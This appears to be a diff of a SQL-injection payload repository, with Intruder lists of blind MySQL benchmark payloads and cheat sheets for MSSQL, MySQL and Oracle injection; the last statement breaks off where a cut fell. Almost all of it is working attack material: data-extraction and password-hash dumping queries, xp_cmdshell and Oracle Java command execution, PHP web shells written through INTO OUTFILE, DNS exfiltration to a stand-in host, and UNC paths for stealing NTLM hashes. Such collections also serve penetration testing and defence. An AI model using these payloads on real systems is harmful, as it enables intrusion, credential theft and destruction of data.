'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
18
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY
Normal file
18
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-ORDER_BY
Normal file
@@ -0,0 +1,18 @@
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
45
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-WHERE
Normal file
45
FIX_SQL Injection/Intruder/payloads-sql-blind-MySQL-WHERE
Normal file
@@ -0,0 +1,45 @@
|
||||
and 0=benchmark(3000000,MD5(1))%20/*
|
||||
and 0=benchmark(3000000,MD5(1))%20--
|
||||
and 0=benchmark(3000000,MD5(1))%20%23
|
||||
' and 0=benchmark(3000000,MD5(1))%20/*
|
||||
' and 0=benchmark(3000000,MD5(1))%20--
|
||||
' and 0=benchmark(3000000,MD5(1))%20%23
|
||||
" and 0=benchmark(3000000,MD5(1))%20/*
|
||||
" and 0=benchmark(3000000,MD5(1))%20--
|
||||
" and 0=benchmark(3000000,MD5(1))%20%23
|
||||
) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
) and 0=benchmark(3000000,MD5(1))%20--
|
||||
) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
') and 0=benchmark(3000000,MD5(1))%20/*
|
||||
') and 0=benchmark(3000000,MD5(1))%20--
|
||||
') and 0=benchmark(3000000,MD5(1))%20%23
|
||||
") and 0=benchmark(3000000,MD5(1))%20/*
|
||||
") and 0=benchmark(3000000,MD5(1))%20--
|
||||
") and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
158
FIX_SQL Injection/MSSQL Injection.md
Normal file
158
FIX_SQL Injection/MSSQL Injection.md
Normal file
@@ -0,0 +1,158 @@
|
||||
# MSSQL Injection
|
||||
|
||||
## MSSQL comments
|
||||
|
||||
```sql
|
||||
-- comment goes here
|
||||
/* comment goes here */
|
||||
```
|
||||
|
||||
## MSSQL version
|
||||
|
||||
```sql
|
||||
SELECT @@version
|
||||
```
|
||||
|
||||
## MSSQL database name
|
||||
|
||||
```sql
|
||||
SELECT DB_NAME()
|
||||
```
|
||||
|
||||
## MSSQL List Databases
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysdatabases;
|
||||
SELECT DB_NAME(N); — for N = 0, 1, 2, …
|
||||
```
|
||||
|
||||
## MSSQL List Column
|
||||
|
||||
```sql
|
||||
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
|
||||
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
|
||||
|
||||
SELECT table_catalog, column_name FROM information_schema.columns
|
||||
```
|
||||
|
||||
## MSSQL List Tables
|
||||
|
||||
```sql
|
||||
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
|
||||
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
|
||||
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
|
||||
|
||||
SELECT table_catalog, table_name FROM information_schema.columns
|
||||
```
|
||||
|
||||
## MSSQL User Password
|
||||
|
||||
```sql
|
||||
MSSQL 2000:
|
||||
SELECT name, password FROM master..sysxlogins
|
||||
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
|
||||
|
||||
MSSQL 2005
|
||||
SELECT name, password_hash FROM master.sys.sql_logins
|
||||
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
||||
```
|
||||
|
||||
## MSSQL Union Based
|
||||
|
||||
```sql
|
||||
-- extract databases names
|
||||
$ SELECT name FROM master..sysdatabases
|
||||
[*] Injection
|
||||
[*] msdb
|
||||
[*] tempdb
|
||||
|
||||
-- extract tables from Injection database
|
||||
$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
|
||||
[*] Profiles
|
||||
[*] Roles
|
||||
[*] Users
|
||||
|
||||
-- extract columns for the table Users
|
||||
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
|
||||
[*] UserId
|
||||
[*] UserName
|
||||
|
||||
-- Finally extract the data
|
||||
$ SELECT UserId, UserName from Users
|
||||
```
|
||||
|
||||
## MSSQL Error based
|
||||
|
||||
```sql
|
||||
For integer inputs : convert(int,@@version)
|
||||
For integer inputs : cast((SELECT @@version) as int)
|
||||
|
||||
For string inputs : ' + convert(int,@@version) + '
|
||||
For string inputs : ' + cast((SELECT @@version) as int) + '
|
||||
```
|
||||
|
||||
## MSSQL Blind based
|
||||
|
||||
```sql
|
||||
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
|
||||
|
||||
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
|
||||
SELECT message FROM data WHERE row = 1 and message like 't%'
|
||||
```
|
||||
|
||||
## MSSQL Time based
|
||||
|
||||
```sql
|
||||
ProductID=1;waitfor delay '0:0:10'--
|
||||
ProductID=1);waitfor delay '0:0:10'--
|
||||
ProductID=1';waitfor delay '0:0:10'--
|
||||
ProductID=1');waitfor delay '0:0:10'--
|
||||
ProductID=1));waitfor delay '0:0:10'--
|
||||
|
||||
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: --
|
||||
```
|
||||
|
||||
## MSSQL Stacked Query
|
||||
|
||||
Use a semi-colon ";" to add another query
|
||||
|
||||
```sql
|
||||
ProductID=1; DROP members--
|
||||
```
|
||||
|
||||
## MSSQL Command execution
|
||||
|
||||
```sql
|
||||
EXEC xp_cmdshell "net user";
|
||||
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
|
||||
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
|
||||
```
|
||||
|
||||
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
||||
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options',1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell',1;
|
||||
RECONFIGURE;
|
||||
```
|
||||
|
||||
## MSSQL UNC Path
|
||||
|
||||
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
|
||||
|
||||
```sql
|
||||
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
|
||||
```
|
||||
|
||||
## MSSQL Make user DBA (DB admin)
|
||||
|
||||
```sql
|
||||
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
||||
* [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
|
||||
* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)
|
||||
233
FIX_SQL Injection/MySQL Injection.md
Normal file
233
FIX_SQL Injection/MySQL Injection.md
Normal file
@@ -0,0 +1,233 @@
|
||||
# MYSQL Injection
|
||||
|
||||
## MYSQL
|
||||
|
||||
```sql
|
||||
# MYSQL Comment
|
||||
/* MYSQL Comment */
|
||||
/*! MYSQL Special SQL */
|
||||
/*!32302 10*/ Comment for MYSQL version 3.23.02
|
||||
```
|
||||
|
||||
## Detect columns number
|
||||
|
||||
Using a simple ORDER
|
||||
|
||||
```sql
|
||||
order by 1
|
||||
order by 2
|
||||
order by 3
|
||||
...
|
||||
order by XXX
|
||||
```
|
||||
|
||||
## MYSQL Union Based
|
||||
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||||
```
|
||||
|
||||
### Extract columns name without information_schema
|
||||
|
||||
Method for `MySQL >= 4.1`.
|
||||
|
||||
First extract the column number with
|
||||
```sql
|
||||
?id=(1)and(SELECT * from db.users)=(1)
|
||||
-- Operand should contain 4 column(s)
|
||||
```
|
||||
|
||||
Then extract the column name.
|
||||
```sql
|
||||
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
|
||||
--Column 'id' cannot be null
|
||||
```
|
||||
|
||||
Method for `MySQL 5`
|
||||
|
||||
```sql
|
||||
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
|
||||
--#1060 - Duplicate column name 'id'
|
||||
|
||||
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
|
||||
-- #1060 - Duplicate column name 'name'
|
||||
|
||||
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
|
||||
...
|
||||
```
|
||||
|
||||
### Extract data without information_schema
|
||||
|
||||
Extracting data from the 4th column without knowing its name.
|
||||
|
||||
```sql
|
||||
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
|
||||
```
|
||||
|
||||
Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`
|
||||
|
||||
```sql
|
||||
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
|
||||
+-----------+-----------------------------------------------------------------+
|
||||
| author_id | title |
|
||||
+-----------+-----------------------------------------------------------------+
|
||||
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
|
||||
+-----------+-----------------------------------------------------------------+
|
||||
```
|
||||
|
||||
|
||||
## MYSQL Error Based - Basic
|
||||
|
||||
Works with `MySQL >= 4.1`
|
||||
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
|
||||
```
|
||||
|
||||
## MYSQL Error Based - UpdateXML function
|
||||
|
||||
```sql
|
||||
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
|
||||
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
|
||||
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
|
||||
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
|
||||
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
|
||||
```
|
||||
|
||||
Shorter to read:
|
||||
|
||||
```sql
|
||||
' and updatexml(null,concat(0x0a,version()),null)-- -
|
||||
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
|
||||
```
|
||||
|
||||
## MYSQL Error Based - Extractvalue function
|
||||
|
||||
Works with `MySQL >= 5.1`
|
||||
|
||||
```sql
|
||||
AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
|
||||
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
|
||||
```
|
||||
|
||||
## MYSQL Blind with substring equivalent
|
||||
|
||||
```sql
|
||||
?id=1 and substring(version(),1,1)=5
|
||||
?id=1 and right(left(version(),1),1)=5
|
||||
?id=1 and left(version(),1)=4
|
||||
?id=1 and ascii(lower(substr(Version(),1,1)))=51
|
||||
?id=1 and (select mid(version(),1,1)=4)
|
||||
```
|
||||
|
||||
## MYSQL Blind using a conditional statement
|
||||
|
||||
TRUE: `if @@version starts with a 5`:
|
||||
|
||||
```sql
|
||||
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
|
||||
Response:
|
||||
HTTP/1.1 500 Internal Server Error
|
||||
```
|
||||
|
||||
False: `if @@version starts with a 4`:
|
||||
|
||||
```sql
|
||||
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
|
||||
Response:
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
|
||||
## MYSQL Blind with MAKE_SET
|
||||
|
||||
```sql
|
||||
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
|
||||
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
|
||||
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
|
||||
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
|
||||
```
|
||||
|
||||
## MYSQL Blind with wildcard character
|
||||
|
||||
['_'](https://www.w3resource.com/sql/wildcards-like-operator/wildcards-underscore.php) acts like the regex character '.', use it to speed up your blind testing
|
||||
|
||||
```sql
|
||||
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
|
||||
```
|
||||
|
||||
## MYSQL Time Based
|
||||
|
||||
```sql
|
||||
+BENCHMARK(40000000,SHA1(1337))+
|
||||
'%2Bbenchmark(3200,SHA1(1))%2B'
|
||||
' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
|
||||
|
||||
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
|
||||
RLIKE SLEEP([SLEEPTIME])
|
||||
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
|
||||
|
||||
?id=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
|
||||
?id=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
|
||||
```
|
||||
|
||||
## MYSQL DIOS - Dump in One Shot
|
||||
|
||||
```sql
|
||||
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
|
||||
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
|
||||
```
|
||||
|
||||
## MYSQL Read content of a file
|
||||
|
||||
Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`
|
||||
|
||||
```sql
|
||||
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
|
||||
```
|
||||
|
||||
## MYSQL DROP SHELL
|
||||
|
||||
```sql
|
||||
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
|
||||
SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>
|
||||
-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
|
||||
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
|
||||
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
|
||||
```
|
||||
|
||||
## MYSQL Out of band
|
||||
|
||||
```powershell
|
||||
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
|
||||
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
|
||||
```
|
||||
|
||||
DNS exfiltration
|
||||
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
|
||||
```
|
||||
|
||||
UNC Path - NTLM hash stealing
|
||||
|
||||
```sql
|
||||
select load_file('\\\\error\\abc');
|
||||
select load_file(0x5c5c5c5c6572726f725c5c616263);
|
||||
select 'osanda' into dumpfile '\\\\error\\abc';
|
||||
select 'osanda' into outfile '\\\\error\\abc';
|
||||
load data infile '\\\\error\\abc' into table database.table_name;
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
|
||||
- [[Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
|
||||
- [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114&postcount=1)
|
||||
96
FIX_SQL Injection/OracleSQL Injection.md
Normal file
96
FIX_SQL Injection/OracleSQL Injection.md
Normal file
@@ -0,0 +1,96 @@
|
||||
# Oracle SQL Injection
|
||||
|
||||
## Oracle SQL version
|
||||
|
||||
```sql
|
||||
SELECT user FROM dual UNION SELECT * FROM v$version
|
||||
```
|
||||
|
||||
## Oracle SQL database name
|
||||
|
||||
```sql
|
||||
SELECT global_name FROM global_name;
|
||||
SELECT name FROM V$DATABASE;
|
||||
SELECT instance_name FROM V$INSTANCE;
|
||||
SELECT SYS.DATABASE_NAME FROM DUAL;
|
||||
```
|
||||
|
||||
## Oracle SQL List Databases
|
||||
|
||||
```sql
|
||||
SELECT DISTINCT owner FROM all_tables;
|
||||
```
|
||||
|
||||
## Oracle SQL List Column
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
|
||||
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
|
||||
```
|
||||
|
||||
## Oracle SQL List Tables
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM all_tables;
|
||||
SELECT owner, table_name FROM all_tables;
|
||||
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
|
||||
```
|
||||
|
||||
## Oracle SQL Error based
|
||||
|
||||
| Description | Query |
|
||||
| :------------- | :------------- |
|
||||
| Invalid HTTP Request | SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
|
||||
| CTXSYS.DRITHSX.SN | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
|
||||
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
|
||||
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
|
||||
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
|
||||
|
||||
## Oracle SQL Blind
|
||||
|
||||
| Description | Query |
|
||||
| :------------- | :------------- |
|
||||
| Version is 12.2 | SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%'; |
|
||||
| Subselect is enabled | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
|
||||
| Table log_table exists | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
|
||||
| Column message exists in table log_table | SELEC COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE'; |
|
||||
| First letter of first message is t | SELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%'; |
|
||||
|
||||
## Oracle SQL Time based
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
|
||||
```
|
||||
|
||||
## Oracle SQL Command execution
|
||||
|
||||
```sql
|
||||
/* create Java class */
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
|
||||
END;
|
||||
/
|
||||
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
|
||||
END;
|
||||
/
|
||||
|
||||
/* run OS command */
|
||||
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
|
||||
```
|
||||
|
||||
or (hex encoded)
|
||||
|
||||
```sql
|
||||
/* create Java class */
|
||||
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate 